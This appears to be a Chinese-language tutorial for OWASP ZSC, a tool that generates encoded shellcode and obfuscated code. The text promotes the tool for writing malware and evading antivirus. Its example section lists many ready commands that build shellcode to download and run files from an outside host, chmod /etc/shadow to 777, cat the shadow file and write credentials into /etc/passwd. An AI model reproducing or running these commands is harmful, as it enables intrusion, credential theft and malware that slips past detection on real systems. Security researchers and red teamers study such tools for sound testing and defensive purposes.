OWASP ZSC是一款用Python编写的开源软件，它可以帮助你在你的操作系统中生成自定义的Shellcode。

这款软件可以在 Windows/Linux&Unix/OSX以及其他操作系统下运行，前提是，你安装了Python 2.7.x。

Shellcode的用途

Shellcode可以用于软件开发的payload，还可以用于编写恶意软件、绕过安全防护软件、杀毒软件、代码混淆等。

代码混淆的用途

可以用于绕过杀毒软件、代码保护等。

为什么使用OWASP ZSC？

与其他像metasploit等shellcode产生工具不同，OWASP ZSC使用新的编码和方法，反病毒软件无法检测。

OWASP ZSC的编码可以产生带有随机编码的shellcode，让你立刻获得成千上万中进行同样工作的新的动态的shellcode，这就意味着如果你使用相同的命令行进行随机编码，你得到的代码会不一样。这个优点让OWASP ZSC成为了最受欢迎的工具！另外，在之后的版本中，它产生的shellcode还能用在更多的操作系统中。

安装

方法一

进入github下载页:https://github.com/Ali-Razmjoo/OWASP-ZSC 进行下载。

运行installer.py，之后你就可以用”zsc”命令启动这个工具啦，当然你也可以在不安装的情况下直接直接执行zsc.py。

方法二

```
wget https://github.com/Ali-Razmjoo/OWASP-ZSC/archive/master.zip -O owasp-zsc.zip && unzip owasp-zsc.zip && rm -rf owasp-zsc.zip && mv OWASP-ZSC-master owasp-zsc && cd owasp-zsc && python installer.py
```

注：使用uninstaller.py可以卸载这个工具

注：软件被安装在“/usr/share/owasp-zsc”目录下

OK，现在开始真正的使用教程

```
python zsc.py

   ______                 __        _____ _____     __________ _____
  / __ \ \               / /\      / ____|  __ \   |__   / ____|  __ \
 | |  | \ \   /\   / /  \  | (___ | |__) |       / / |       | |__) |
 | |  | |\ \/  \/ / /\ \   \___ \|  ___/       / /| |       |  _  /
 | |__| | \  /\  /  ____ \ ____) | |          / /_| |____| | \ \
  \____/ _ \/ _\/_/___ \_\_____/|_|     ____/_____\_____|_|__\_\_ _____      _
  / ____| |   | |   ____| |      | |      / ____/ __ \|  __ \|  ____|  __ \  | |
 | (___ | |__| | |__   | |      | |     | |    | | | | | |__   | |__) | | |
  \___ \|  __  |  __| | |      | |     | |    | | | | |  __| |  _  /   | |
  ____) | |  | | |____| |____| |____| |__| |__| | |__| | |____| | \ \   |_|
 |_____/|_|  |_|______|______|______\_____\____/|_____/|______|_|  \_\ (_)

                   OWASP ZeroDay Cyber Research Shellcoder

zsc>
```

下面的内容适用于Mac OSX:

输入help:

```
[+] shellcode         generate shellcode

[+] shellcode>generate       to generate shellcode

[+] shellcode>search       search for shellcode in shellstorm

[+] obfuscate         generate obfuscate code

[+] help                   show help menu

[+] update                check for update

[+] about                  about owasp zsc

[+] restart              restart the software

[+] version              software version

[+] exit                   to exit the software
```

你是用这些命令时按下”tab”键进行选择。

输入”shellcode”生成shellcode，然后回车。

现在你可以输入generate或者search，或者download（生成shellcode、从shell库搜索或下载shellcode）。

搜索shellcode：输入search，然后回车

```
zsc/shellcode> search

keyword_to_search>
```

下载shellcode：输入download，然后回车

```
zsc/shellcode> download

shellcode_id>
```

生成shellcode：输入generate，然后回车

之后按tab键，你可以看到一个可用的操作系统列表。

然后再按一次tab键，你可以看到一些功能，比如“exec”，“systm”，“write”等等，然后你可以选择你想使用的功能，然后回车。

下面，你要使用函数的argv，比如exec(“bin/bash”)，然后你只需要按下tab，然后回车，软件就会自动获取函数argv了。

填好argv，接下来软件会要求你输入shellcode类型，你可以写”none”或者选择上面编码类型的一个。输入，然后你的shellcode就准备好了。

还有一个方式获得shellcode就是使用sheestorm API。

输入shellcode后输入search搜索一个shellcode。你只用输入shellcode的名字、ID等信息就可以获得一个sheecode列表，然后你可以在shellcode之后输入download下载shellcode。你可以使用restart命令来重启软件并开始新的任务。

生成混淆代码

使用obfuscate命令，你可以开始进行代码混淆。同样，使用tab键，你可以看到一列已经可以进行代码混淆的语言。之后选择一种语言，软件会要求你输入文件名，这个文件就是你想要进行代码混淆的文件。接下来软件会要求你选择编码类型。还是tab键，你可以看到编码模块。然后轩儿编码类型，你就能获得被重写并转成你选择的编码类型的混淆代码了。别担心，你的源码其实还在文件里。

其他命令

```
help：显示帮助菜单

update：检查更新

about：关于owasp zsc

restart：重启软件

version：软件版本

exit：退出
```

如果你是用的是Linux kali，并且你是用的是1.0.6版本的ZSC那你需要下面的简易教程：

```
Switches:

-h, --h, -help, --help => to see this help guide

-os => choose your os to create shellcode

-oslist     => list os for switch -os

-o => output filename

-job => what shellcode gonna do for you ?

-joblist => list of -job switch

-encode => generate shellcode with encode

-types => types of encode for -encode switch

-wizard => wizard mod

-update => check for update

-about => about software and developers.
```

通过这些switch，你可以看到系统列表、编码类型和函数[joblist]来生成你的shellcode。

支持操作系统列表 “-oslist”

```
[+] linux_x86

[+] linux_x64

[+] linux_arm

[+] linux_mips


[+] freebsd_x86

[+] freebsd_x64

[+] windows_x86

[+] windows_x64

[+] osx

[+] solaris_x86

[+] solaris_x64
```

支持编码类型 “-types”

```
[+] none

[+] xor_random
```

[+] xor_yourvalue

[+] add_random

[+] add_yourvalue

[+] sub_random

[+] sub_yourvalue

[+] inc

[+] inc_timesyouwant

[+] dec

[+] dec_timesyouwant

[+] mix_all

支持函数 “-joblist”

[+] exec('/path/file')

[+] chmod('/path/file','permission number')

[+] write('/path/file','text to write')

[+] file_create('/path/file','text to write')

[+] dir_create('/path/folder')

[+] download('url','filename')

[+] download_execute('url','filename','command to execute')

[+] system('command to execute')

[+] script_executor('name of script','path and name of your script in your pc','execute command')

现在，你可以选择你所用的系统、函数和编码类型来生成你的shellcode了。但是现在其实没有启动所有功能，所以你要查看这个表，看看哪些功能被启用了、哪些没有。

OS	Encodes	Functions:	exec	chmod	write	file_create	dir_create	download	download_execute	system	script_executor
linux_x86	none	-------->	1	1	1	1	1	1	1	1	1
	xor_random	-------->	1	1	1	1	1	1	1	1	1
	xor_yourvalue	-------->	0	1	0	1	1	1	1	1	1
	add_random	-------->	1	1	1	1	1	1	1	1	1
	add_yourvalue	-------->	0	1	0	1	1	1	1	1	1
	sub_random	-------->	1	1	1	1	1	1	1	1	1
	sub_yourvalue	-------->	0	1	0	1	1	1	1	1	1
	inc	-------->	0	1	0	1	1	1	1	1	1
	inc_timesyouwant	-------->	0	1	0	1	1	1	1	1	1
	dec	-------->	0	1	0	1	1	1	1	1	1
	dec_timesyouwant	-------->	0	1	0	1	1	1	1	1	1
	mix_all	-------->	0	1	0	1	1	1	1	1	1

举个例子，这个表格会告诉我们linux_x86上的所有功能都已经被启动了，但是[xor_random, xor_yourvalue, add_random, add_yourvalue, sub_random, sub_yourvalue, inc, inc_timesyouwant, dec, dec_timesyouwant] 智能开chmod()函数使用。

示例

>zsc -os linux_x86 -encode inc -job "chmod('/etc/passwd','777')" -o file

>zsc -os linux_x86 -encode dec -job "chmod('/etc/passwd','777')" -o file

>zsc -os linux_x86 -encode inc_10 -job "chmod('/etc/passwd','777')" -o file

>zsc -os linux_x86 -encode dec_30 -job "chmod('/etc/passwd','777')" -o file

>zsc -os linux_x86 -encode xor_random -job "chmod('/etc/shadow','777')" -o file.txt

>zsc -os linux_x86 -encode xor_random -job "chmod('/etc/passwd','444')" -o file.txt

>zsc -os linux_x86 -encode xor_0x41414141 -job "chmod('/etc/shadow','777')" -o file.txt

>zsc -os linux_x86 -encode xor_0x45872f4d -job "chmod('/etc/passwd','444')" -o file.txt

>zsc -os linux_x86 -encode add_random -job "chmod('/etc/passwd','444')" -o file.txt

>zsc -os linux_x86 -encode add_0x41414141 -job "chmod('/etc/passwd','777')" -o file.txt

>zsc -os linux_x86 -encode sub_random -job "chmod('/etc/passwd','777')" -o file.txt

>zsc -os linux_x86 -encode sub_0x41414141 -job "chmod('/etc/passwd','444')" -o file.txt

>zsc -os linux_x86 -encode none -job "file_create('/root/Desktop/hello.txt','hello')" -o file.txt

>zsc -os linux_x86 -encode none -job "file_create('/root/Desktop/hello2.txt','hello[space]world[space]!')" -o file.txt

>zsc -os linux_x86 -encode none -job "dir_create('/root/Desktop/mydirectory')" -o file.txt

>zsc -os linux_x86 -encode none -job "download('http://www.z3r0d4y.com/exploit.type','myfile.type')" -o file.txt

>zsc -os linux_x86 -encode none -job "download_execute('http://www.z3r0d4y.com/exploit.type','myfile.type','./myfile.type')" -o file.txt

#multi command

>zsc -os linux_x86 -encode none -job "download_execute('http://www.z3r0d4y.com/exploit.type','myfile.type','chmod[space]777[space]myfile.type;sh[space]myfile.type')" -o file.txt

>zsc -os linux_x86 -encode none -job "script_executor('script.type','D:\\myfile.type','./script.type')" -o file.txt

>zsc -os linux_x86 -encode none -job "script_executor('z3r0d4y.sh','/root/z3r0d4y.sh','sh[space]z3r0d4y.sh')" -o file.txt

>zsc -os linux_x86 -encode none -job "script_executor('ali.py','/root/Desktop/0day.py','chmod[space]+x[space]ali.py;[space]python[space]ali.py')" -o file.txt

>zsc -os linux_x86 -encode none -job "system('ls')" -o file.txt

```
>zsc -os linux_x86 -encode none -job "system('ls[space]-la')" -o file.txt

>zsc -os linux_x86 -encode none -job "system('ls[space]-la[space]/etc/shadow;chmod[space]777[space]/etc/shadow;ls[space]-la[space]/etc/shadow;cat[space]/etc/shadow;wget[space]file[space];chmod[space]777[space]file;./file')" -o file.txt

>zsc -os linux_x86 -encode none -job "system('wget[space]file;sh[space]file')" -o file.txt

>zsc -os linux_x86 -encode none -job "chmod('/etc/shadow','777')" -o file.txt

>zsc -os linux_x86 -encode none -job "write('/etc/passwd','user:pass')" -o file.txt

>zsc -os linux_x86 -encode none -job "exec('/bin/bash')" -o file.txt
```

提示：不要再system()函数中使用”，用”[space]“代替，软件会在shellcode里检测并把它替换成”。

script_executor(),download_execute(),download(),dir_create(),file_create()使用linux命令行，而不是函数。

[wget,mkdir,echo] system()函数会被增加到脚本中，你可以尽情使用他们并生成任何命令行shellcode。

提示：exec()不支持任何ARGV。exec(‘/bin/bash -c ls’)或者(‘/bin/bash’，‘-c’,‘ls’)，很可惜，下个版本才支持这种操作。

提示：你还可以对inc time和dec time使用high value，比如inc_100000，但是这样的话，你的shellcode可能会变得很大。

提示：你每次执行chmod()或其他可以随机编码的函数，你可能会得到随机输出和不一样的shellcode。

提示：异或操作可以做所有事！比如：“xor_0x41414141” 和 “xor_0x45872f4d”。

Wizard Switch

```
Default OS Name is linux_x86, Enter OS Name or Enter "list" to see OS List
OS Name: list
[+] linux_x86
[+] linux_x64
[+] linux_arm
[+] linux_mips
[+] freebsd_x86
[+] freebsd_x64
[+] windows_x86
[+] windows_x64
[+] osx
[+] solaris_x86
[+] solaris_x64
OS Name: linux_x86
OS Name set to "linux_x86"

Default Job is exec('/bin/bash'), Enter Job Type or Enter "list" to see Jobs List
Job:
Job set to "exec('/bin/bash')"
```

使用 -wizard switch，你就能在不使用长ARGV的情况下产生shellcode了，软件将会要求你输入信息。

提示：当你使用 -wizard switch时，如果你按了回车，但是没有反应，在varible里将会设置默认值。

提示：进入”list”，你就可以看到所有值的列表了。

为了防止你们再说小编我不负责任，再丢一个官方视频：http://zsc.z3r0d4y.com/blog/2015/07/27/video-how-to-install-and-generate-shellcode-using-zsc/